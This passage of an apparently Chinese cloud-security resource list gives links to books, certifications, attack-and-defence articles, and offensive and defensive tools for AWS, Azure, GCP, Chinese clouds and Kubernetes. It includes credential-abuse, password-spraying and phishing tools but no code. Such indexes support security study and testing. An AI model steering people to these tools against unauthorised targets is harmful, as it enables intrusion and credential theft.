Follow](https://img.shields.io/twitter/follow/christophetd)](https://twitter.com/christophetd) * Dirk-jan [![Twitter Follow](https://img.shields.io/twitter/follow/_dirkjan)](https://twitter.com/_dirkjan) * Dr. Nestori Syynimaa [![Twitter Follow](https://img.shields.io/twitter/follow/DrAzureAD)](https://twitter.com/DrAzureAD) * Emilien Socchi [![Twitter Follow](https://img.shields.io/twitter/follow/emiliensocchi)](https://twitter.com/emiliensocchi) * Fabian Bader [![Twitter Follow](https://img.shields.io/twitter/follow/fabian_bader)](https://twitter.com/fabian_bader) * gafnit [![Twitter Follow](https://img.shields.io/twitter/follow/gafnitav)](https://twitter.com/gafnitav) * inversecosᵘʷᵘ [![Twitter Follow](https://img.shields.io/twitter/follow/inversecos)](https://twitter.com/inversecos) * Jason Ostrom [![Twitter Follow](https://img.shields.io/twitter/follow/securitypuck)](https://twitter.com/securitypuck) * Joosua Santasalo [![Twitter Follow](https://img.shields.io/twitter/follow/SantasaloJoosua)](https://twitter.com/SantasaloJoosua) * Karl [![Twitter Follow](https://img.shields.io/twitter/follow/kfosaaen)](https://twitter.com/kfosaaen) * Kfzz1 [![Twitter Follow](https://img.shields.io/twitter/follow/Kfzz12)](https://twitter.com/Kfzz12) * Liv Matan [![Twitter Follow](https://img.shields.io/twitter/follow/terminatorLM)](https://twitter.com/terminatorLM) * Marco Lancini [![Twitter Follow](https://img.shields.io/twitter/follow/lancinimarco)](https://twitter.com/lancinimarco) * Melvin langvik [![Twitter Follow](https://img.shields.io/twitter/follow/Flangvik)](https://twitter.com/Flangvik) * Merill [![Twitter Follow](https://img.shields.io/twitter/follow/merill)](https://twitter.com/merill) * mx7krshell [![Twitter Follow](https://img.shields.io/twitter/follow/mx7krshell)](https://twitter.com/mx7krshell) * Nathan McNulty [![Twitter Follow](https://img.shields.io/twitter/follow/NathanMcNulty)](https://twitter.com/NathanMcNulty) * Nick Frichette [![Twitter Follow](https://img.shields.io/twitter/follow/Frichette_n)](https://twitter.com/Frichette_n) * Nikhil Mittal [![Twitter Follow](https://img.shields.io/twitter/follow/nikhil_mitt)](https://twitter.com/nikhil_mitt) * Nir Ohfeld [![Twitter Follow](https://img.shields.io/twitter/follow/nirohfeld)](https://twitter.com/nirohfeld) * Rhino Security Labs [![Twitter Follow](https://img.shields.io/twitter/follow/RhinoSecurity)](https://twitter.com/RhinoSecurity) * Roberto Rodriguez [![Twitter Follow](https://img.shields.io/twitter/follow/Cyb3rWard0g)](https://twitter.com/Cyb3rWard0g) * rootsecdev [![Twitter Follow](https://img.shields.io/twitter/follow/rootsecdev)](https://twitter.com/rootsecdev) * rvrsh3ll [![Twitter Follow](https://img.shields.io/twitter/follow/424f424f)](https://twitter.com/424f424f) * Ryan Hausknecht [![Twitter Follow](https://img.shields.io/twitter/follow/Haus3c)](https://twitter.com/Haus3c) * Sami Lamppu [![Twitter Follow](https://img.shields.io/twitter/follow/samilamppu)](https://twitter.com/samilamppu) * Sean Metcalf [![Twitter Follow](https://img.shields.io/twitter/follow/PyroTek3)](https://twitter.com/PyroTek3) * Seth Art [![Twitter Follow](https://img.shields.io/twitter/follow/sethsec)](https://twitter.com/sethsec) * Shir Tamari [![Twitter Follow](https://img.shields.io/twitter/follow/shirtamari)](https://twitter.com/shirtamari) * Skyworship [![Twitter Follow](https://img.shields.io/twitter/follow/Skyworship2)](https://twitter.com/Skyworship2) * Thomas Naunheim [![Twitter Follow](https://img.shields.io/twitter/follow/Thomas_Live)](https://twitter.com/Thomas_Live) ### 5 书籍 * 《云原生安全-攻防实践与体系构建》 * 《Hacking Kubernetes》 * 《Hands-On AWS Penetration Testing with Kali Linux》 ### 6 视频 * 火线云安全沙龙视频 [地址](https://space.bilibili.com/503330419) * CNCF 频道(英文)[地址](https://youtube.com/@cncf) * 0xd4y 频道(英文)[地址](https://www.youtube.com/@0xd4y) * WIZ 频道(英文)[地址](https://www.youtube.com/@wizsecurity) ### 7 证书 * AWS 安全认证-专业 AWS Certified Security - Specialty [地址](https://aws.amazon.com/certification/certified-security-specialty/) * AWS 认证解决方案架构师-助理 AWS Certified Solutions Architect – Associate [地址](https://aws.amazon.com/cn/certification/certified-solutions-architect-associate/) * Azure 基础知识认证 Azure Fundamentals [地址](https://learn.microsoft.com/certifications/azure-fundamentals/) * Azure 安全工程师助理 Azure Security Engineer Associate [地址](https://learn.microsoft.com/certifications/azure-security-engineer/) * CompTIA Cloud+ [地址](https://www.comptia.org/certifications/cloud) * GCP 专业云安全工程师 GCP Professional Cloud Security Engineer [地址](https://cloud.google.com/learn/certification/cloud-security-engineer) * GCP 云工程师助理 Associate Cloud Engineer [地址](https://cloud.google.com/learn/certification/cloud-engineer) * Kubernetes 认证安全专家 Certified Kubernetes Security Specialist (CKS) [地址](https://training.linuxfoundation.org/certification/certified-kubernetes-security-specialist/) * 认证云安全专家 Certified Cloud Security Professional (CCSP) [地址](https://www.isc2.org/Certifications/CCSP) * 阿里云专业工程师 Alibaba Cloud Certified Professional (ACP) [地址](https://edu.aliyun.com/certification) * 阿里云云计算架构师 Alibaba Cloud Certified Expert - Cloud Computing (ACE) [地址](https://edu.aliyun.com/certification/ace01) * 阿里云助理工程师 Alibaba Cloud Certified Associate (ACA) [地址](https://edu.aliyun.com/certification) ### 8 云服务文章 * AWS S3 对象存储攻防 :fire: [地址](https://zone.huoxian.cn/d/907-aws-s3) * AWS EC2 弹性计算服务攻防 [地址](https://zone.huoxian.cn/d/1022-aws-ec2) * 阿里云 OSS 对象存储攻防 :fire: [地址](https://zone.huoxian.cn/d/918-oss) * 阿里云 ECS 攻防 [地址](https://zone.huoxian.cn/d/1064-ecs) * 腾讯云 COS 对象存储攻防 [地址](https://zone.huoxian.cn/d/949-cos) * 腾讯云服务器攻防(CVM+轻量应用服务器)[地址](https://zone.huoxian.cn/d/1028-cvm) * 华为云 OBS 对象存储攻防 [地址](https://zone.huoxian.cn/d/962-obs) * 华为云 ECS 弹性云服务器攻防 [地址](https://zone.huoxian.cn/d/1074-ecs) * 谷歌云 对象存储攻防 [地址](https://zone.huoxian.cn/d/931) * 谷歌云 Compute Engine 攻防 [地址](https://zone.huoxian.cn/d/1043-compute-engine) * 微软云 对象存储攻防 [地址](https://zone.huoxian.cn/d/940) * 微软云 VM 攻防 [地址](https://zone.huoxian.cn/d/1083-vm) * 浅谈云上攻防——云服务器攻防矩阵 :fire: [地址](https://cloud.tencent.com/developer/article/1931560) * 针对 AWS Lambda 的运行时攻击 [地址](https://mp.weixin.qq.com/s/duF1Z0EDC3n_G378Aq_XYA) * 浅谈云上攻防——对象存储服务访问策略评估机制研究 [地址](https://mp.weixin.qq.com/s/ncWGrMsIAvh9HEK1QC5IGQ) * 红队视角下的公有云基础组件安全 [地址](https://mp.weixin.qq.com/s/r0DuASP6gH_48b5sJ1DCTw) * 红队视角下的公有云基础组件安全(二)[地址](https://mp.weixin.qq.com/s/lL32lywlrnuyhJkQk5NAEw) * 利用 AWS RDS 读取实例凭证(英文)[地址](https://blog.lightspin.io/aws-rds-critical-security-vulnerability) * 利用 AWS RDS 读取实例凭证(中文翻译)[地址](https://zone.huoxian.cn/d/1141-aws-rdsaws) * 风险最高的 10 种 AWS 配置错误 [地址](https://mp.weixin.qq.com/s/quIpapbkFNay0JtUK4wODQ) * 公有云 IP 重用的威胁和防御方法分析 Paper(英文)[地址](https://arxiv.org/pdf/2204.05122.pdf) * 华为云 CTF cloud 非预期解之 k8s 渗透实战 [地址](https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/) * 企业迁移到公有云之前要问的5个问题 [地址](http://www.d1net.com/cloud/news/574569.html) * 在 AWS 下查看自己所拥有的权限 [地址](https://wiki.teamssix.com/CloudService/IAM/list-attached-user-policies.html) * 云上攻防:RED TEAMING FOR CLOUD [地址](http://avfisher.win/archives/1175) * 云上攻防二三事(续)[地址](http://avfisher.win/archives/1331) * 从云服务器 SSRF 漏洞到接管你的阿里云控制台 [地址](https://wiki.teamssix.com/CloudService/EC2/aliyun-console-takeover.html) * 我用 CF 打穿了他的云上内网 :fire: [地址](https://zone.huoxian.cn/d/1341-cf) * Google Cloud Shell 命令注入(英文)[地址](https://bugra.ninja/posts/cloudshell-command-injection) * 云计算隔离问题:PostgreSQL 的漏洞影响到多个云计算供应商(英文)[地址](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) * 记录一次平平无奇的云上攻防过程 [地址](https://zone.huoxian.cn/d/2557) * Azure Cloud Shell 命令注入窃取用户的访问令牌(英文)[地址](https://blog.lightspin.io/azure-cloud-shell-command-injection-stealing-users-access-tokens) * 一次简单的"云"上野战记录 [地址](https://mp.weixin.qq.com/s/wi8CoNwdpfJa6eMP4t1PCQ) * AWS 枚举(第一部分)(英文)[地址](https://securitycafe.ro/2022/11/01/aws-enumeration-part-1/) * GCP 渗透测试笔记(英文)[地址](https://0xd4y.com/2022/10/01/GCP-Penetration-Testing-Notes/) * 常规云服务业务侧攻防视角研究 [地址](https://mp.weixin.qq.com/s/2yaQ_W5K7BfmycMO2UcXJg) * 记一次打穿云上内网的攻防实战 [地址](https://zone.huoxian.cn/d/2766) * AWS 权限提升(英文)[地址](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation) ![GitHub stars](https://img.shields.io/github/stars/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation) * 云服务安全漏洞汇总 [地址](https://github.com/hashishrajan/cloud-security-vulnerabilities) ![GitHub stars](https://img.shields.io/github/stars/hashishrajan/cloud-security-vulnerabilities) * Lightspin 2022 年 7 大云攻击路径(英文) [地址](https://github.com/lightspin-tech/lightspin-2022-top-7-attack-paths) ![GitHub stars](https://img.shields.io/github/stars/lightspin-tech/lightspin-2022-top-7-attack-paths) ### 9 云原生文章 * 特权模式下 Docker 逃逸手法总结 :fire: [地址](https://zone.huoxian.cn/d/1071-docker) * 容器逃逸方法检测指北(附检测脚本)[地址](https://zone.huoxian.cn/d/990) * Terraform 中文教程 :fire: [地址](https://lonegunmanb.github.io/introduction-terraform/) * 利用 gateway-api,我支配了 kubernetes [地址](https://mp.weixin.qq.com/s/Y4F72s0JSyvjLBN3iNyUZg) * 红蓝对抗中的云原生漏洞挖掘及利用实录 [地址](https://security.tencent.com/index.php/blog/msg/183) * 利用 AWS 官方对 log4j 漏洞的热补丁实现容器逃逸(英文)[地址](https://unit42.paloaltonetworks.com/aws-log4shell-hot-patch-vulnerabilities/) * CIS 基准检测手册(英文) [地址](https://www.cisecurity.org/benchmark/kubernetes) `由「zhengjim」师傅补充,感谢支持` * Docker 核心技术与实现原理 [地址](https://draveness.me/docker/) `由「zxynull」师傅补充,感谢支持` * 浅谈 Linux Cgroup 机制 [地址](https://zhuanlan.zhihu.com/p/81668069) `由「zxynull」师傅补充,感谢支持` * 使用 eBPF 逃逸容器技术分析与实践 [地址 ](https://security.tencent.com/index.php/blog/msg/206) `由「zxynull」师傅补充,感谢支持` * 内核态 eBPF 程序实现容器逃逸与隐藏账号rootkit [地址 ](https://www.cnxct.com/container-escape-in-linux-kernel-space-by-ebpf/?f=wb&continueFlag=0ba98c50fdecece390192b7dd4adf11d) `由「zxynull」师傅补充,感谢支持` * 基于 eBPF 实现容器运行时安全 [地址](https://www.ebpf.top/post/ebpf_container_security/) `由「zxynull」师傅补充,感谢支持` * 浅析 k8s 各种未授权攻击方法 [地址](https://zone.huoxian.cn/d/1153-k8s) * APISIX CVE-2022-29266 漏洞分析与复现 [地址](https://mp.weixin.qq.com/s/Un-9y_UhWDw9svHKb-JQVQ) * 保障云和容器安全的十个注意事项(英文)[地址](https://sysdig.com/blog/considerations-securing-cloud-containers/) * CNCF 云原生安全白皮书 v2 [地址](https://github.com/cncf/tag-security/tree/main/security-whitepaper/v2) * 初探 eBPF [地址](https://mp.weixin.qq.com/s/GvWKY4M5YvorC4JF2ztUvQ) * Terraform 使用入门以及在云上攻防中的作用 [地址](https://wiki.teamssix.com/CloudNative/Terraform/terraform-introductory.html) * 云原生之 Kubernetes 安全 [地址](https://forum.butian.net/share/1095) * RCE 进入内网接管 K8s 并逃逸进 xx 网 [地址](https://mp.weixin.qq.com/s/UvjKHaVzhluc22trF46uBA) * 从零开始的 Kubernetes 攻防 [地址](https://github.com/neargle/my-re0-k8s-security) ![GitHub stars](https://img.shields.io/github/stars/neargle/my-re0-k8s-security) * 容器安全清单 container-security-checklist [地址](https://github.com/krol3/container-security-checklist) ![GitHub stars](https://img.shields.io/github/stars/krol3/container-security-checklist) `由「zxynull」师傅补充,感谢支持` * awesome-cloud-native-security from Metarget [地址](https://github.com/Metarget/awesome-cloud-native-security) ![GitHub stars](https://img.shields.io/github/stars/Metarget/awesome-cloud-native-security) ## 0x02 工具 :hammer_and_wrench: ### 1 云服务工具 #### 辅助工具 <br> **多云** * 在线搜索目标网站下的云资产 recon.cloud [地址](https://recon.cloud/) * 在线多云管理平台 行云管家 [地址](https://www.cloudbility.com/) `由「半人间丶」师傅补充,感谢支持` * AK 等敏感信息查找工具 trufflehog [地址](https://github.com/trufflesecurity/trufflehog) ![GitHub stars](https://img.shields.io/github/stars/trufflesecurity/trufflehog) * 多云基线扫描工具 ScoutSuite [地址](https://github.com/nccgroup/ScoutSuite) ![GitHub stars](https://img.shields.io/github/stars/nccgroup/ScoutSuite) * 基础设施关系绘制工具 Cartography [地址](https://github.com/lyft/cartography) ![GitHub stars](https://img.shields.io/github/stars/lyft/cartography) * 云安全态势管理工具 CloudSploit [地址](https://github.com/aquasecurity/cloudsploit) ![GitHub stars](https://img.shields.io/github/stars/aquasecurity/cloudsploit) `由「da Vinci【达文西】」师傅补充,感谢支持` * 多云对象存储管理工具 qiniuClient [地址](https://github.com/willnewii/qiniuClient) ![GitHub stars](https://img.shields.io/github/stars/willnewii/qiniuClient) `由「半人间丶」师傅补充,感谢支持` * 云渗透信息收集工具 cloudfox [地址](https://github.com/BishopFox/cloudfox) ![GitHub stars](https://img.shields.io/github/stars/BishopFox/cloudfox) * 云服务资源枚举工具 cloud_enum [地址](https://github.com/initstring/cloud_enum) ![GitHub stars](https://img.shields.io/github/stars/initstring/cloud_enum) * 开源多云安全合规扫描平台 RiskScanner [地址](https://github.com/riskscanner/riskscanner) ![GitHub stars](https://img.shields.io/github/stars/riskscanner/riskscanner) `由「想走安全的小白」师傅补充,感谢支持` * 多云对象存储扫描工具 Cloud-Bucket-Leak-Detection-Tools [地址](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools) ![GitHub stars](https://img.shields.io/github/stars/UzJu/Cloud-Bucket-Leak-Detection-Tools) * 适用于 AWS 和 Azure 的扫描工具 SkyArk [地址](https://github.com/cyberark/SkyArk) ![GitHub stars](https://img.shields.io/github/stars/cyberark/SkyArk) * 云上公开资产枚举 CloudBrute [地址](https://github.com/0xsha/CloudBrute) ![GitHub stars](https://img.shields.io/github/stars/0xsha/CloudBrute) * 多云资产收集工具 cloudlist [地址](https://github.com/projectdiscovery/cloudlist) ![GitHub stars](https://img.shields.io/github/stars/projectdiscovery/cloudlist) `由「Kfzz1」师傅补充,感谢支持` * 权限升级路径分析工具 PurplePanda [地址](https://github.com/carlospolop/PurplePanda) ![GitHub stars](https://img.shields.io/github/stars/carlospolop/PurplePanda) * 云上攻击模拟工具 Leonidas [地址](https://github.com/WithSecureLabs/leonidas) ![GitHub stars](https://img.shields.io/github/stars/WithSecureLabs/leonidas) * 开源的轻量级云管平台 CloudExplorer Lite [地址](https://github.com/CloudExplorer-Dev/CloudExplorer-Lite) ![GitHub stars](https://img.shields.io/github/stars/CloudExplorer-Dev/CloudExplorer-Lite) * 红队云操作系统 RedCloudOS [地址](https://github.com/RedTeamOperations/RedCloud-OS) ![GitHub stars](https://img.shields.io/github/stars/RedTeamOperations/RedCloud-OS) * 云服务枚举工具 cloud service enum [地址](https://github.com/NotSoSecure/cloud-service-enum) ![GitHub stars](https://img.shields.io/github/stars/NotSoSecure/cloud-service-enum) **AWS** * 在线搜索公开的存储桶 buckets.grayhatwarfare.com [地址](https://buckets.grayhatwarfare.com/) * AWS 文档 GPT 工具 [地址](https://www.awsdocsgpt.com) * AWS 官方 CLI 工具 [地址](https://github.com/aws/aws-cli) ![GitHub stars](https://img.shields.io/github/stars/aws/aws-cli) * AWS 环境分析工具 CloudMapper [地址](https://github.com/duo-labs/cloudmapper) ![GitHub stars](https://img.shields.io/github/stars/duo-labs/cloudmapper) * S3 策略扫描工具 S3Scanner [地址](https://github.com/sa7mon/S3Scanner) ![GitHub stars](https://img.shields.io/github/stars/sa7mon/S3Scanner) * AWS IAM 权限枚举工具 Principal Mapper [地址](https://github.com/nccgroup/PMapper) ![GitHub stars](https://img.shields.io/github/stars/nccgroup/PMapper) * AWS IAM 权限枚举工具 enumerate-iam [地址](https://github.com/andresriancho/enumerate-iam) ![GitHub stars](https://img.shields.io/github/stars/andresriancho/enumerate-iam) * S3 公开存储桶密钥扫描工具 S3cret Scanner [地址](https://github.com/Eilonh/s3crets_scanner) ![GitHub stars](https://img.shields.io/github/stars/Eilonh/s3crets_scanner) * AWS 常见配置错误审计工具 YATAS [地址](https://github.com/padok-team/yatas) ![GitHub stars](https://img.shields.io/github/stars/padok-team/yatas) * Route53/CloudFront 漏洞评估工具 [地址](https://github.com/prevade/cloudjack) ![GitHub stars](https://img.shields.io/github/stars/prevade/cloudjack) * 检测多云环境中存在 dangling DNS 记录的工具 findmytakeover [地址](https://github.com/anirudhbiyani/findmytakeover) ![GitHub stars](https://img.shields.io/github/stars/anirudhbiyani/findmytakeover) **Azure** * Azure 官方 CLI 工具 [地址](https://github.com/Azure/azure-cli) ![GitHub stars](https://img.shields.io/github/stars/Azure/azure-cli) * Azure MFA 检测工具 [地址](https://github.com/dafthack/MFASweep) ![GitHub stars](https://img.shields.io/github/stars/dafthack/MFASweep) * Azure AD 和 Office 365 的 PowerShell 管理模块 AADInternals [地址](https://github.com/Gerenios/AADInternals) ![GitHub stars](https://img.shields.io/github/stars/Gerenios/AADInternals) * BloodHound 收集 Azure 数据工具 AzureHound [地址](https://github.com/BloodHoundAD/AzureHound) ![GitHub stars](https://img.shields.io/github/stars/BloodHoundAD/AzureHound) `由「Kfzz1」师傅补充,感谢支持` * Azure AD 信息收集工具 AzureGraph [地址](https://github.com/JoelGMSec/AzureGraph) ![GitHub stars](https://img.shields.io/github/stars/JoelGMSec/AzureGraph) `由「Kfzz1」师傅补充,感谢支持` **GCP** * GCP 官方 CLI 工具 [地址](https://cloud.google.com/sdk/gcloud/) * GCP 资源枚举工具 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum) * GCP 攻击面资源枚举工具 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_firewall_enum) * GCP 资源分析工具 Hayat [地址](https://github.com/DenizParlak/hayat) ![GitHub stars](https://img.shields.io/github/stars/DenizParlak/hayat) * GCP IAM 权限收集工具 gcp-iam-collector [地址](https://github.com/marcin-kolda/gcp-iam-collector) ![GitHub stars](https://img.shields.io/github/stars/marcin-kolda/gcp-iam-collector) * Google Workspace 目录转储工具 Google Workspace Directory Dump Tool [地址](https://github.com/RedTeamOperations/GoogleWorkspaceDirectoryDump) ![GitHub stars](https://img.shields.io/github/stars/RedTeamOperations/GoogleWorkspaceDirectoryDump) **阿里云** * 阿里云官方 OSS 管理工具 [地址](https://github.com/aliyun/oss-browser) ![GitHub stars](https://img.shields.io/github/stars/aliyun/oss-browser) `由「半人间丶」师傅补充,感谢支持` * 阿里云官方 CLI 工具 [地址](https://github.com/aliyun/aliyun-cli) ![GitHub stars](https://img.shields.io/github/stars/aliyun/aliyun-cli) **腾讯云** * 腾讯云轻量服务器管理工具 [地址](https://www.qqvps.com/d/1011) `由「tanger」师傅补充,感谢支持` * 腾讯云官方 COS 辅助工具 [地址](https://cosbrowser.cloud.tencent.com/) `由「Esonhugh」师傅补充,感谢支持` * 腾讯云官方 CLI 工具 [地址](https://github.com/TencentCloud/tencentcloud-cli) ![GitHub stars](https://img.shields.io/github/stars/TencentCloud/tencentcloud-cli) **华为云** * 华为云 OBS 官方管理工具 OBS Browser+ [地址](https://support.huaweicloud.com/browsertg-obs/obs_03_1003.html) **天翼云** * 天翼云对象存储连接工具 [地址](https://www.ctyun.cn/document/10000101/10006768) #### 利用工具 <br> **多云** * 云环境利用框架 CF [地址](https://github.com/teamssix/cf) ![Github stars](https://img.shields.io/github/stars/teamssix/cf) :fire: * 阿里云/腾讯云 AK 资源管理工具 [地址](https://github.com/wyzxxz/aksk_tool) ![Github stars](https://img.shields.io/github/stars/wyzxxz/aksk_tool) `由「Esonhugh」师傅补充,感谢支持` **AWS** * AWS 综合利用工具 pacu [地址](https://github.com/RhinoSecurityLabs/pacu) ![GitHub stars](https://img.shields.io/github/stars/RhinoSecurityLabs/pacu) * AWS 渗透工具集 aws-pentest-tools [地址](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools) ![GitHub stars](https://img.shields.io/github/stars/RhinoSecurityLabs/Security-Research) * AWS Lambda 密码喷洒工具 CredKing [地址](https://github.com/ustayready/CredKing) ![GitHub stars](https://img.shields.io/github/stars/ustayready/CredKing) * AWS AccessKey 泄漏利用工具 awsKeyTools [地址](https://github.com/Aabyss-Team/awsKeyTools) ![GitHub stars](https://img.shields.io/github/stars/Aabyss-Team/awsKeyTools) `由「1derian」和「ShangRui-hash」师傅联合补充,感谢支持` * AWS 渗透测试工具 Endgame [地址](https://github.com/DavidDikker/endgame) ![GitHub stars](https://img.shields.io/github/stars/DavidDikker/endgame) * AWS 红队利用脚本 Redboto [地址](https://github.com/ihamburglar/Redboto) ![GitHub stars](https://img.shields.io/github/stars/ihamburglar/Redboto) * AWS 控制台接管利用工具 aws_consoler [地址](https://github.com/NetSPI/aws_consoler) ![GitHub stars](https://img.shields.io/github/stars/NetSPI/aws_consoler) * AWS 域控卷影拷贝工具 CloudCopy [地址](https://github.com/Static-Flow/CloudCopy) ![GitHub stars](https://img.shields.io/github/stars/Static-Flow/CloudCopy) **Azure** * Azure 安全评估 PowerShell 工具包 MicroBurst [地址](https://github.com/NetSPI/MicroBurst) ![GitHub stars](https://img.shields.io/github/stars/NetSPI/MicroBurst) * Azure AD 利用工具集 ROADtools [地址](https://github.com/dirkjanm/ROADtools) ![GitHub stars](https://img.shields.io/github/stars/dirkjanm/ROADtools) * Azure 红队利用工具 Stormspotter [地址](https://github.com/Azure/Stormspotter) ![GitHub stars](https://img.shields.io/github/stars/Azure/Stormspotter) `由「da Vinci【达文西】」师傅补充,感谢支持` * 枚举、喷洒、渗透 O365 AAD 帐户工具 TeamFiltration [地址](https://github.com/Flangvik/TeamFiltration) ![GitHub stars](https://img.shields.io/github/stars/Flangvik/TeamFiltration) * Azure JWT 令牌操作工具集 TokenTactics [地址](https://github.com/rvrsh3ll/TokenTactics) ![GitHub stars](https://img.shields.io/github/stars/rvrsh3ll/TokenTactics) * Microsoft 365 安全工具箱 DCToolbox [地址](https://github.com/DanielChronlund/DCToolbox) ![GitHub stars](https://img.shields.io/github/stars/DanielChronlund/DCToolbox) * 滥用 Microsoft 365 OAuth 授权流程进行网络钓鱼攻击的概念验证脚本 Microsoft365_devicePhish [地址](https://github.com/optiv/Microsoft365_devicePhish) ![GitHub stars](https://img.shields.io/github/stars/optiv/Microsoft365_devicePhish) * Azure AD 身份保护 Cookie 重放测试工具 [地址](https://github.com/jsa2/aadcookiespoof) ![GitHub stars](https://img.shields.io/github/stars/jsa2/aadcookiespoof) **GCP** * GCP 利用工具集 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_misc) * GCP Bucket 枚举工具 GCPBucketBrute [地址](https://github.com/RhinoSecurityLabs/GCPBucketBrute) ![GitHub stars](https://img.shields.io/github/stars/RhinoSecurityLabs/GCPBucketBrute) * GCP IAM 权限提升方法 GCP-IAM-Privilege-Escalation [地址](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation) ![GitHub stars](https://img.shields.io/github/stars/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation) `由「da Vinci【达文西】」师傅补充,感谢支持` * GCP Token 复用工具 [地址](https://github.com/RedTeamOperations/GCPTokenReuse) ![GitHub stars](https://img.shields.io/github/stars/RedTeamOperations/GCPTokenReuse) **阿里云** * 阿里云 AccessKey 利用工具 aliyun-accesskey-Tools [地址](https://github.com/mrknow001/aliyun-accesskey-Tools) ![GitHub stars](https://img.shields.io/github/stars/mrknow001/aliyun-accesskey-Tools) `由「半人间丶」师傅补充,感谢支持` * 阿里云 ECS、策略组辅助小工具 alicloud-tools [地址](https://github.com/iiiusky/alicloud-tools) ![GitHub stars](https://img.shields.io/github/stars/iiiusky/alicloud-tools) `由「半人间丶」师傅补充,感谢支持` * 阿里云 AccessKey 泄漏利用工具 AliyunAccessKeyTools [地址](https://github.com/NS-Sp4ce/AliyunAccessKeyTools) ![GitHub stars](https://img.shields.io/github/stars/NS-Sp4ce/AliyunAccessKeyTools) `由「半人间丶」师傅补充,感谢支持` **腾讯云** * 腾讯云 AccessKey 利用工具 Tencent_Yun_tools [地址](https://github.com/freeFV/Tencent_Yun_tools) ![GitHub stars](https://img.shields.io/github/stars/freeFV/Tencent_Yun_tools) ### 2 云原生工具 #### 辅助工具 * 一个支持在线分析容器镜像的网站 contains [地址](https://contains.dev/) `由「zxynull」师傅补充,感谢支持` * 容器镜像分析工具 DIVE [地址](https://github.com/wagoodman/dive) ![GitHub stars](https://img.shields.io/github/stars/wagoodman/dive) `由「zxynull」师傅补充,感谢支持` * 基于终端 UI 的 k8s 集群管理工具 k9s [地址](https://github.com/derailed/k9s) ![GitHub stars](https://img.shields.io/github/stars/derailed/k9s) * 镜像扫描工具 trivy [地址](https://github.com/aquasecurity/trivy) ![GitHub stars](https://img.shields.io/github/stars/aquasecurity/trivy) `由「zxynull」师傅补充,感谢支持` * 容器镜像漏洞静态扫描工具 Clair [地址](https://github.com/quay/clair) ![GitHub stars](https://img.shields.io/github/stars/quay/clair) `由「zxynull」师傅补充,感谢支持` * 检查生产环境中部署容器的最佳实践 Docker_Bench_Security [地址](https://github.com/docker/docker-bench-security) ![GitHub stars](https://img.shields.io/github/stars/docker/docker-bench-security) `由「zxynull」师傅补充,感谢支持` * 原生支持容器的系统可见性工具 sysdig [地址](https://github.com/draios/sysdig) ![GitHub stars](https://img.shields.io/github/stars/draios/sysdig) `由「zxynull」师傅补充,感谢支持` * k8s 异常活动检测工具 Falco [地址](https://github.com/falcosecurity/falco) ![GitHub stars](https://img.shields.io/github/stars/falcosecurity/falco) `由「zxynull」师傅补充,感谢支持` * CIS 基准检测工具 kube bench [地址](https://github.com/aquasecurity/kube-bench) ![GitHub stars](https://img.shields.io/github/stars/aquasecurity/kube-bench) `由「zhengjim」师傅补充,感谢支持` * Docker 镜像扫描工具 Anchore [地址](https://github.com/anchore/syft/) ![GitHub stars](https://img.shields.io/github/stars/anchore/syft) `由「zxynull」师傅补充,感谢支持` * k8s 集群安全漏洞发现工具 kube hunter [地址](https://github.com/aquasecurity/kube-hunter) ![GitHub stars](https://img.shields.io/github/stars/aquasecurity/kube-hunter) `由「zhengjim」师傅补充,感谢支持` * 开源的云原生安全平台 HummerRisk [地址](https://github.com/HummerRisk/HummerRisk) ![GitHub stars](https://img.shields.io/github/stars/HummerRisk/HummerRisk) `由「Ma1tobiose」师傅补充,感谢支持` * k8s 集群风险权限扫描工具 KubiScan [地址](https://github.com/cyberark/KubiScan) ![GitHub stars](https://img.shields.io/github/stars/cyberark/KubiScan) `由「UzJu」师傅补充,感谢支持` * Docker 静态分析工具 Dagda [地址](https://github.com/eliasgranderubio/dagda/) ![GitHub stars](https://img.shields.io/github/stars/eliasgranderubio/dagda) `由「zxynull」师傅补充,感谢支持` * k8s 安全风险检测工具 StackRox [地址](https://github.com/stackrox/stackrox) [工具介绍](https://www.stackrox.io/blog/open-source-stackrox-is-now-available/) ![GitHub stars](https://img.shields.io/github/stars/stackrox/stackrox) `由「m4d3bug」师傅补充,感谢支持` * k8s 安全审计工具 kubestriker [地址](https://github.com/vchinnipilli/kubestriker) ![GitHub stars](https://img.shields.io/github/stars/vchinnipilli/kubestriker) `由「zhengjim」师傅补充,感谢支持` * 基于 kubectl 的红队 k8s 安全评估工具 red kube [地址](https://github.com/lightspin-tech/red-kube) ![GitHub stars](https://img.shields.io/github/stars/lightspin-tech/red-kube) `由「zhengjim」师傅补充,感谢支持` * 开源云原生安全防护平台 neuvector [地址](https://github.com/neuvector/neuvector) ![GitHub stars](https://img.shields.io/github/stars/neuvector/neuvector) `由「Idle Life」师傅补充,感谢支持` * k8s 调试辅助工具 validkube [地址](https://github.com/komodorio/validkube) ![GitHub stars](https://img.shields.io/github/stars/komodorio/validkube) * Terraform 可视化 [地址](https://github.com/hieven/terraform-visual) ![GitHub stars](https://img.shields.io/github/stars/hieven/terraform-visual) * 容器逃逸检测工具 container-escape-check [地址](https://github.com/teamssix/container-escape-check) ![GitHub stars](https://img.shields.io/github/stars/teamssix/container-escape-check) #### 利用工具 * 容器渗透工具集 CDK [地址](https://github.com/cdk-team/CDK) ![GitHub stars](https://img.shields.io/github/stars/cdk-team/CDK) * 容器安全工具集 veinmind-tools [地址](https://github.com/chaitin/veinmind-tools) ![GitHub stars](https://img.shields.io/github/stars/chaitin/veinmind-tools) * k8s 渗透测试工具 Peirates [地址](https://github.com/inguardians/peirates) ![GitHub stars](https://img.shields.io/github/stars/inguardians/peirates) `由「Idle Life」师傅补充,感谢支持` * 